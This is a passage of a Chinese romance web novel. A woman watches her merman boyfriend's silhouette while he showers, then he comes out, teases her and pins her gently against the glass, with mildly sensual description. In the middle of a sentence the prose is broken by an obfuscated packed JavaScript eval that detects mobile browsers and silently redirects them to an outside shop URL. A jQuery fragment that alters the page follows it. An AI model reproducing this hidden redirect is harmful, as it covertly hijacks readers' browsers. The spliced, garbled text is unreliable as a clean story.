守夜没有回到床上。她的后背依然贴着那片冰凉的玻璃，像被磁铁吸住了一样，一步都没有挪开。
她不知道自己为什么不肯走——明明已经看到了不该看的，明明已经心跳快到要爆炸了，明明应该趁他还没出来之前赶紧滚回床上假装一切都没有发生过。
但她就是走不了。她的脚像生了根一样钉在地板上，后背贴着那片凉意，心脏在胸腔里疯狂地撞击着肋骨。
因为不久前的剧本杀，那种差点失去他的恐惧还残留在她的神经末梢里。那些指认他是凶手的声音、那些怀疑的目光、那些“如果他真的是呢”的假设——虽然游戏已经结束了，真相已经大白了，但她心里的那根弦还没有完全松下来。
她不想离他太远。哪怕隔着2层玻璃，她也想待在有他的地方。就算他真的是杀人凶手——她在心里跟自己说过不止一次——她也认了。
这个念头荒谬至极，但她没办法否认它的真实性。
她贴着玻璃，慢慢地蹲了下来。蹲下来的过程中，她的膝盖有点软，不是体力上的软，是那种被某种巨大的、汹涌的情绪冲击之后的虚脱感。
她蹲在浴室门口的墙边，双臂抱住自己的膝盖，把脸埋进臂弯里。她能感觉到自己的体温在升高——脸颊烫得像刚出锅的瓷碗，耳根烧得通红，连脖颈都泛起了一层淡淡的粉色。
那股燥热从胸口蔓延到四肢，像有什么东西在皮肤底下涌动，急切地寻找一个出口。她不知道自己是怎么了。是因为那个剪影？是因为刚才那句低沉的“别看”？是因为他隔着玻璃吻了她指尖所在的位置？还是因为——所有这些加在一起，让她终于承认了一个她一直在回避的事实：她被这条人鱼迷得神魂颠倒，毫无招架之力。
她把脸埋在臂弯里，闭着眼，开始在心里骂他。骂他为什么要长那么好看。骂他为什么连洗个澡都能洗出那种让人移不开眼的韵律感。
骂他为什么要在玻璃那边说那句“别看”——用那种低沉的、带着纵容和无奈的语气，好像在说“我知道你在看我，我不介意，但再看下去我怕你受不了”。
骂他为什么要在她额头贴着的位置吻玻璃。骂他为什么要在她心里占据一个“就算他是杀人凶手我也认了”的位置——那个位置太重了，她从来没让任何人坐上去过，他倒好，一声不吭地坐上去了，还坐得稳稳当当的，一副理所当然的样子。
守夜蹲在浴室门口的墙边，把脸深深地埋进双臂里，膝盖抵着胸口，缩成小小的一团。她以为自己蹲下来就好了，以为把脸藏起来就好了——但没有用。
那个画面像烙铁一样烫在她的视网膜上，她闭着眼都能看见。他微微侧过头的样子。水流沿着他下颌线的弧度滑落，在下巴尖上聚成一滴，悬了一会儿，然后坠落。
他握着花洒的那只手——骨节分明，手指修长，指腹带着薄茧，那只手不久前还在走廊里托着她的后脑勺，指尖穿过她的发丝，温柔得像在捧一捧易碎的泡沫。
而现在，在她的想象里，那只手正在做着无比私密的事情。
她猛地咬住自己的手背，用疼痛把那幅画面从脑海里驱散了一瞬，但下一秒它又回来了，像潮水一样，退了一步就进两步。她咬着牙，在心里疯狂地呐喊：那么好看的手！那么有力的手臂！怎么可以把那个动作做得那么单纯！那么坦然！一点邪念都没有！他为什么要微微歪着头！为什么要露出那副像是在享受一场普通淋浴的表情！他知不知道她站在外面！知不知道她看得见！
啊——她是个变态。她一定是个变态。正常人不会在男朋友洗澡的时候蹲在浴室门口偷看剪影，看完之后还不肯走，蹲在原地脑子里循环播放那个画面，一边骂自己一边忍不住继续想。她把额头抵在膝盖上，用气音反反复复地念叨着：“我是变态我是变态我是变态我是变态——”
她念叨到第五遍的时候，浴室的门开了。一团湿热的水汽裹着沐浴露的气息涌出来，扑了她一脸。
她僵住了，保持着那个蹲在地上、脸埋双臂、嘴里还在念念有词的姿势，像一尊被按了暂停键的雕塑。无眠的声音从她头顶传下来，带着一点刚洗完澡后的慵懒和疑惑：“你在干什么？”
守夜没有抬头。她维持着那个姿势，沉默了整整两秒，然后用一种平静到诡异的语气说了一句：“我在反思自己的人生。”
无眠沉默了一息。然后她听见他轻轻地、低低地笑了一声——不是嘲笑，是那种被她可爱到了的、从喉咙里泄出来的、带着无限纵容的笑。
他没有追问她在反思什么。他只是弯下腰，伸手，轻轻揉了揉她埋在臂弯里的头顶，说了一句：“反思完了就起来吧，地上凉。”
脑子里那个画面不但没有消散，反而像被水泡过的茶叶一样，越泡越舒展，越展越清晰。
她甚至能想象出更多的细节——那五根手指。修长，骨节分明，指腹带着薄茧。冷白色的皮肤下隐约可见青色的血管纹理，沿着手背的骨骼走向蜿蜒分布。
那是一只看起来应该握笔、握剑、握方向盘的手，应该抚过古籍的书页、抚过深海的地图、抚过她的脸颊和发丝的手。
此刻却在做着那样私密的、认真的、一丝不苟的清理动作。从里到外，从上到下。
她猛地吸了一口气，把脸更深地埋进臂弯里，牙齿咬住了自己的袖口。
她不是没有想象过他和身体有关的事情——但她想象的一直是这双手如何拥抱她，如何在她哭泣的时候捧住她的脸，如何在走廊里托着她的后脑勺，如何在她睡着的时候轻轻拨开她额前的碎发。她从来没有想象过这双手会用在那个地方——用在那个她只在生理卫生课本和深夜好奇心驱使下搜索过的、属于男性的私密部位。
而此刻，那个画面像一帧被定格的高清影像一样嵌在她的脑海里，挥之不去。她咬着袖口的布料，在心里发出一声崩溃的哀嚎：他的手明明是那么纯净的——冷白的皮肤，高贵的骨相，像一件精心雕琢的艺术品。
他用手抚过她的脸颊，用手臂环过她的肩膀，用手指穿过她的发丝，在她最脆弱的时候把她整个人圈进怀里，像一座礁石护着一艘小船。
那双抱过她、安抚过她、在剧本杀结束后轻轻擦掉她眼泪的手——此刻正在清洗他自己身上最隐秘的部位。这个认知像一道闪电劈穿了她的天灵盖，让她整个人从头顶麻到脚尖。
她猛地抬起头，用额头抵着膝盖，闭着眼，无声地张大了嘴，做出一个无声的呐喊表情。然后她把额头从膝盖上抬起来，仰起头，对着天花板，用气音说了一句：“我是个变态。我脏了。我不配做人了。”
就算她觉得自己是个变态，也不想离他太远。
刚才浴室门打开的时候，湿热的水汽像一朵云一样涌出来，扑向蹲在墙边的那一小团身影。
无眠站在门口，手里拿着毛巾，正在擦自己半干的发尾。他低头，看见了蹲在浴室外墙边的守夜——她缩成小小的一团，双臂抱着膝盖，脸深深地埋在臂弯里，整个人像一只把头埋进沙子里的鸵鸟，仿佛只要她看不见这个世界，这个世界也就看不见她。
他擦头发的动作停了一下。
暖黄色的灯光从天花板洒下来，将她笼罩在一圈柔和的光晕里。她蹲在那里，蜷缩的姿势让她看起来比实际小了许多，像一只受了惊之后试图把自己藏起来的小动物。而他站在她面前，刚刚洗完澡，身上还带着未散尽的热气和清冽气息，居高临下地看着她——一高一矮，一站一蹲，一个坦然而立，一个蜷缩成团。
那种反差感在暖黄色的灯光下被拉得很满，像一幅构图精良的摄影作品，光影、高低、姿态，一切都恰到好处。
他看着这幅画面，心里没有波澜——不是冷漠的没有波澜，是一种平静的、柔软的、像湖面被一片落叶轻轻点了一下的那种波澜。
洗澡的人是他，他又没偷看自己，有什么好激动澎湃的？但蹲在那里把自己缩成一小团的那个人——是他的女朋友。
她在外面偷看他洗澡，然后自己被自己搞得心神不宁，蹲在浴室门口自闭，嘴里还念叨着“我是变态”。
他觉得这个画面可爱得要命。他不知道这种“可爱”的感觉是因为他们之间那几千岁的年龄差带来的天然滤镜，还是因为他本身就对她有一种不讲道理的偏爱——也许是两者都有，也许都不重要。
重要的是她蹲在那里，没有走，没有逃回床上假装什么都没发生，而是蹲在离他最近的地方，把自己缩成一小团，等他出来。
他把毛巾从发尾上拿下来，搭在肩上，然后弯下腰，伸出手，用指背轻轻蹭了一下她埋在臂弯里的发顶。
动作很轻，像在安抚一只把自己藏起来了的小动物。他的声音从她头顶传下来，带着一点刚洗完澡后的低哑和慵懒，但更多的是那种纵容的、拿她没办法的温柔：“蹲多久了？腿不麻吗？”
守夜没有抬头。她的声音闷在臂弯里，带着一点赌气的成分：“麻了。但我拒绝站起来。我要在这里反思我的人生。”
无眠没有强行拉她起来。他只是在她面前蹲了下来——不是那种居高临下的俯视，而是蹲下来，让自己的视线和她平齐。他歪过头，试图从她臂弯的缝隙里捕捉到她的一只眼睛，声音里带着一丝极淡的笑意：“那你反思出什么结果了吗？”
守夜沉默了片刻，然后从臂弯里抬起一只眼睛，露出一半瞳孔，瞪了他一眼：“反思出——你是条害人不浅的人鱼。”
无眠看着她那只露出来的眼睛——带着一点懊恼、一点羞愤、一点“都怪你”的迁怒，但底层是软的，像一只炸毛之后依然赖在你手边不走的小猫。
他嘴角的弧度加深了一点，没有反驳，只是轻轻“嗯”了一声，然后伸手，用拇指在她露出的那只眼睛下方轻轻蹭了一下，像在擦掉一道并不存在的泪痕。
“嗯，是我的错。”他说，语气里带着一种纵容到底的温柔，“我不该长这么好看，也不该洗那么仔细，更不该在你偷看的时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17759377|209579||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
候说‘别看’——应该邀请你一起洗的。”
守夜猛地从臂弯里抬起头来，脸颊通红：“谁要跟你一起洗了！！！”
守夜听见无眠在她面前蹲下来的声音，感觉到他的气息靠近——雪松和沐浴露的清气，混着他身上独有的、像深海暗流般凉薄的气息。
她没有抬头，但她知道他在看她。然后她看见他的手伸了过来——那只手。冷白色的，骨节分明的，指腹带着薄茧的。那只她刚才隔着玻璃想象过无数遍的手，正朝她的方向伸过来，五指微微张开，像在邀请她握住。
她像被烫到一样把手缩了回去，藏到自己的身后，别过头：“别靠近我。我不想看到你的手。”
无眠的手停在半空中，顿了一下。他没有收回，只是维持着那个伸出的姿势，歪过头，试图从她低垂的睫毛缝隙里捕捉她的目光。
他的声音从她头顶传下来，不高，带着一种慢条斯理的、像在哄一只受惊的小动物般的耐心：“为何？”
守夜没有回答，只是把藏着手的又往后缩了缩。无眠看着她那副“你别过来”的姿态，没有强行去够她的手。
他缓缓收回伸出的那只手，然后换了一种方式——两只手同时伸出，没有去握她的手，而是绕过她的手臂，轻轻托住了她的腰侧。他的掌心隔着薄薄的睡衣贴在她的腰线上，温热而稳定，像两枚温热的贝壳扣在她的皮肤上。
他微微用力，将她从蹲姿缓缓提了起来——不是粗暴的拉扯，是一种顺着她的重心、稳稳地将她从地面“捞”起来的力道，仿佛她是一株蜷缩在墙角的小植物，被他用掌心托着根系，连土带根地移植到了另一片土壤里。
守夜被他托着腰站起来的时候，膝盖还有点麻，踉跄了一下，后背撞上了身后的玻璃——那面她刚才靠了许久的磨砂玻璃，凉意透过睡衣渗进她的肩胛骨之间。
她还没来得及站稳，无眠向前迈了半步，将她轻轻压在了玻璃上。不是粗暴的压制，是一种温柔的、带着占有意味的挤压——他的胸膛贴上她的身体，将她固定在玻璃和他的体温之间。
她无处可退，后背是凉的玻璃，身前是他微凉的、带着沐浴后余温的身体。他比她高出不少，低头看她的时候，暖黄色的灯光从他身后打过来，在他的蓝银色发丝上镀了一层柔和的光晕，将她的脸笼罩在他的阴影里。
他没有立刻说话。他只是维持着这个将她压在玻璃上的姿势，低头看着她，目光平静而专注，像在欣赏一幅他怎么看都看不厌的画。他的呼吸拂过她的额头，带着雪松和薄荷的气息，凉凉的，痒痒的。然后他开口，声音不高，但每个字都像深海里的暗流一样沉稳而清晰：“这双手本就是你的。我整个人都是你的——从头到脚，从里到外，无一不是你之物。”他顿了顿，微微低下头，额头几乎要贴上她的额头，声音又低了一度，“你何必与自己见外？”
守夜的后背贴着冰凉的玻璃，身前是他微凉的体温，两面夹击，她觉得自己像一块被夹在三明治中间的食材，无处可逃。
她的目光不自觉地落在他垂在身侧的那只手上——冷白色的，修长的，指腹带着薄茧的，刚才在浴室里做过那个动作的手。她猛地移开视线，盯着他的锁骨，坚决不往下看，也不往旁边看。
无眠只是维持着那个将她轻轻压在玻璃上的姿势，低头看着她，目光从她的眉眼缓缓滑到她的鼻尖，又从鼻尖滑到她微微抿着的嘴唇上，像在阅读一封他早已熟记于心却百读不厌的信。
然后他微微调整了一下重心——不是后退，是向前。他的胸膛更紧密地贴上她的身体，将她更完整地嵌进自己的怀抱与玻璃之间那片狭窄的空间里。他的胯骨轻轻抵住她的腰侧，大腿外侧贴着她的膝盖，从锁骨到膝盖，几乎没有缝隙。
守夜的后背完全贴在冰凉的前是他微凉的、带着沐浴后余温的身体。凉与凉的交叠并没有产生温暖，但却产生了一种奇异的、像深海与浅海交汇时的密度差——她觉得自己被他包围了，从四面八方，从前胸到后背，从头顶到脚尖，他的存在像一片密度更高的水域，将她整个人包裹在其中，让她动弹不得，却又心甘情愿地不想动弹。
他的右手抬起来，没有碰她的脸，而是撑在了她耳侧的玻璃上——五指微微张开，冷白色的手背在暖黄色的灯光下浮现出淡淡的青色血管纹理。
那个姿势让她完全被困住了：身后是玻璃，左右是他撑在耳侧的手臂，身前是他微凉的胸膛。
她像被关进了一座由他的体温和气息构成的笼子里，而这座笼子的栅栏是他的手臂，锁芯是他的心跳。
她无处可逃。
无眠低头看着她，距离近到他的睫毛几乎要扫到她的眉心。
他开口时声音不高，带着一种慵懒，像潮水退去后在沙滩上留下的那一层薄薄的水膜，湿润而柔软：“你在躲我？”
守夜的睫毛颤了一下：“没有。”
“那你为什么不看我的手？”
“我在消化。”